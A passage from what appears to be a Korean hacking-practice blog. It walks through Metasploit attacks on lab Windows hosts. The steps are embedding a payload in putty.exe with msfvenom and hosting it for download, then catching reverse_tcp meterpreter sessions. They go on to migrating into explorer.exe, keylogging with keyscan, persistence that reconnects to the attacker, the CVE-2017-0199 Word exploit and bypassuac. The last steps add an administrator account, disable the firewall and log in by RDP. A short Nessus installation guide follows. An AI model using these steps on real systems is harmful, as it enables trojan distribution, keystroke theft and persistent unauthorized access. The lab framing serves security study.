explorer.exe migrate 권한 상승.

keyscan.

 

 

 

 

keyscan : 공격 대상이 입력한 키 값이 커널로 가기 전 낚아챈다.

 

공격 대상이 자주 쓸만한, 혹은 클릭해볼만한 실행 파일을 준비한다.

이름도 생소한 파일일 경우 클릭하지 않을 확률이 높기 때문에 자주 쓰는 파일에 악성코드를 끼워넣는 방식이 더 많이 쓰인다.

 

msfvenom을 이용하여 putty.exe 파일에 악성코드를 주입하여 putty1.exe 파일을 생성한다.

이름을 같게 하는 것이 좋겠지만, 실습 편의상 구분을 위해 다르게 설정하였다.

기존의 파일에 악성코드를 주입할 땐 -x 옵션으로 파일을 지정해준다.

 

putty1.exe 파일이 잘 생성되었다.

 

apache2 웹서버 실행.

 

기본 페이지가 잘 뜨는 것을 확인한 후,

 

1.0.0.51/download/ 를 보면 아직 아무것도 저장되어있지 않다.

 

위에서 생성한 putty1.exe 파일을 /var/www/html/download/ 로 복사하여

외부에서 접근이 쉽도록 한다.

 

1.0.0.51/download/ 다시 보면 putty1.exe 파일이 들어가있다.

 

Meta3에서 같은 경로로 들어가면 putty1.exe 파일 다운로드가 가능하다.

 

방화벽에 막히지 않도록 reverse_tcp 방식을 사용할 것이다.

# use multi/handler (or exploit/multi/handler)

# set payload windows/x64/meterpreter/reverse_tcp

 

# set lhost [공격자 IP]

# set lport [msfvenom에서 지정한 port]

Meta3에서 putty1.exe 파일을 다운로드했다면 meterpreter로 접속이 가능하다.

 

sysinternalsSuite > procexp64.exe 을 실행시켜보면 우리가 쓰는 대부분의 프로그램들이 보통 explorer.exe

밑에서 실행되는 것을 볼 수 있다.

따라서 explorer 권한을 가지면 대부분의 권한을 가지는 것이라 할 수 있다.

 

접속된 meterpreter에서 ps 명령어를 치면 explorer.exe의 PID를 확인할 수 있다.

 

getpid는 현재 내가 위치한 PID 확인 명령어이다.

 

migrate를 이용하여 2176(explorer.exe PID)로 권한 상승 시도.

성공적으로 권한 상승 되었다.

 

# keyscan_start

Meta3(공격대상)에서 메모장과 같은 키보드 입력 가능한 프로그램을 열어 입력해본다.

 

다시 meterpreter로 돌아와 keyscan_dump 명령어로

Meta3가 입력한 값들을 그대로 확인 가능하다.

이렇게 키보드 입력 값은 해킹당할 위험이 있기 때문에 요즘엔 중요한 정보들은 마우스로 입력받는 방식이 이용된다.

 

연결유지

 

run persistence -A -U -i 20 -r [공격자 IP] -p 11000

> -r : endpoint

공격 대상이 뭔가 낌새가 이상해서 재부팅을 한다 해도 연결이 그대로 남아있게 된다.

사용자가 다시 로그인을 하면 공격자의 kali로 저절로 연결된다.

 

 

 

원격 터미널 서비스 접속.

explorer.exe migrate.

 

 

 

 

공격 방식

 

1. Server side

- 시스템 자체의 취약점을 이용 ex. ms17-010

 

2. Client side

- 실행파일(악성코드, 멀웨어, 트로이목마)을 클릭하는 방식

 

클라이언트 사이드 공격은 대부분 권한 상승을 필요로 한다.

따라서 이번 글에서는 BypassUAC를 이용한 권한 상승에 대해 알아볼 것이다.

 

공격 시나리오

공격자 - Kali Linux (1.0.0.51)

공격 대상 - Windows 7 (1.0.0.56)

1) 취약점을 이용하여 meterpreter로 접속

2) explorer로 권한 상승

3) 원격 데스크톱 연결 시도

4) BypassUAC 이용하여 권한 상승

5) 원격 데스크톱 연결

 

# service postgresql start

DB 연결을 위해 postgresql 서비스를 시작 후 msfconsole로 접속한다.

 

CVE-2017-0199 : 마이크로소프트의 원격 코드 실행 취약점

# use exploit/windows/fileformat/office_word_hta

 

show options 명령어로 확인.

SVRHOST : service host, 상대방이 이 서버로 접속하도록 (악성코드 접속)

 

reverse_tcp 방식을 사용한다.

 

# set lhost [공격자 IP]

 

run or exploit 명령어를 실행하면 1.0.0.56의 세션이 연결되었다는 메시지가 보인다.

 

연결된 세션을 확인하는 명령어 : sessions

 

연결이 되어있는 상태이기 때문에 sessions [id] 명령어로 연결이 가능하다.

windows 7의 meterpreter로 접속된다.

 

explorer 권한을 가져오기 위해 먼저 ps 명령어로 explorer의 PID를 확인한다.

explorer의 PID는 3056이며, 현재 내 PID는 960이다.

 

migrate 명령어를 이용하여 explorer로 권한 상승.

 

shell 명령어를 입력하면 windows 7의 쉘로 접속이 된다.

만약 영어가 깨져서 나온다면 chcp 65001 명령어를 입력해준다.

 

rdesktop 연결을 위해 계정을 만들려 시도해보면 접근이 거부될 것이다.

 

bypassuac를 이용하여 권한 상승을 해주기 위해 background로 들어간다.

# search bypassuac 를 입력하면 첫 번째로 뜨는 취약점이 보인다.

 

# use exploit/windows/local/bypassuac

 

마찬가지로 reverse_tcp 방식으로 payload를 설정한다.

 

show targets 명령어로 타겟에 Windows x64가 있는지 확인 후

set targets 명령어로 타겟을 지정한다.

 

세션을 확인해보면 위에서 연결했던 windows 7과의 연결이 유지되어 있다.

 

show options으로 확인 후 비어있는 값을 넣어줘야 하는데,

SESSION은 위에서 확인한 세션의 ID를 넣어준다.

# set session [id]

# set lhost [공격자 IP]

 

run or exploit 명령어를 입력하면 잠시 후 meterpreter session을 따오게 된다.

 

총 세션이 2개가 보이는 것이 정상이며, sessions 명령어로 확인 후

두 번째 세션으로 연결한다. (bypassuac로 따온 세션)

 

마찬가지로 shell로 접속하여 영어가 깨지지 않도록 chcp 65001 명령어를 입력해준다.

 

# net user hh It1 /add

ID : hh / PW : It1 인 계정을 생성한다. 위에서와는 달리 성공적으로 생성이 된다.

# net user 명령어로 현재 windows 7의 계정들을 확인 가능하다.

hh 계정을 생성했으니, 관리자 그룹에 넣어줘야 hh 계정으로 더 많은 작업을 할 수 있다.

# net localgroup administrators hh /add

 

만약 공격 대상의 PC에서 방화벽이 활성화되어 있다면 원격 접속이 어려울 수 있다.

따라서 쉘로 접속하여 방화벽을 꺼버릴 수 있다.

# netsh advfirewall set allprofiles state on/off

 

hh 계정으로, 패스워드는 It1, 1.0.0.56에 연결하겠다.

# rdesktop -u [ID] -p [PW] [공격 대상 IP]

관리자 권한을 가진 계정이고, 방화벽도 다 껐지만 에러가 발생하는 것을 볼 수 있다.

 

공격 대상의 쉘로 다시 접속하여 위와 같은 명령어를 한 번 입력해주어야 한다.

 

다시 rdesktop 연결을 시도해본다.

 

성공적으로 접속을 하였다.

 

 

 

출처 :

hy2on.tistory.com/80

윈도우에서 hfs에 파일을 올린 뒤,

 

칼리 리눅스 쉘에서 wget 윈도우ip주소:포트번호/전송할파일

 

ex) wget http://192.168.25.54:8080/hihi.txt

입력하면 전송된다.

 

'Kali Linux' 카테고리의 다른 글

NESSUS 설치 및 실행 방법  (0) 2020.10.07

NESSUS는 상용 취약점 스캐너이다.

 

 

 

NESSUS는 개인이 이용할 경우 제한된 기능의 무료 버전으로 사용할 수 있고 기업에서 사용시 모든 기능이 사용 가능한 유료 버전으로도 사용가능하다.

 

 

https://www.tenable.com/downloads/nessus?loginAttempted=true

위 사이트로 가면 nessus의 여러 운영체제 버전들을 다운 받을 수 있는데

 

 

칼리리눅스에서 사용하기 위해서는 debian 버전을 받아야한다.

칼리리눅스의 x32 x64 버전에 맞춰서 다운받아 준다.

 

 

그리고 activation code가 필요한데 다운로드 사이트 맨위에

get activaton code가 있다.

 

 

접속 후 오른쪽 register 버튼을 클릭하여 가입 하면 이메일로 코드가 날라온다. 이를 저장해 둔다.

 

 

설치 시 칼리리눅스 터미널에서 다운받은 deb 파일 경로로 가

 

sudo chmod a+x Nessus... 다운받은 파일에 실행권한을 준다.

그 후 sudo dpkg -i Nessus... 다운받은 파일을 풀어준다.

 

 

그 후 터미널에 나온 /bin/systemctl/ start nessusd.service 이 구문을 복사해

명령어를 실행해준다.

( sudo /opt/nessus/sbin/nessus-service 로 바뀐듯?)

 

다음 https://kali:8834/ 라고 나온 부분을 복사하여 웹브라우저에서 접속한다.

 

 

서큐리티 통제가 뜨는데 무시하고 접속한다.

essential로 해서 continue

 

 

다음은 skip (코드를 받는 과정인데 이미 받았으니 스킵)

 

 

그 다음 코드를 넣어주고 continue

 

 

계정명과 비밀번호를 원하는대로 넣고 접속하면 플러그인이 설치된다.

 

 

플러그인 설치 완료 후 계정명과 비밀번호로 접속한다.

 

 

 

+ Recent posts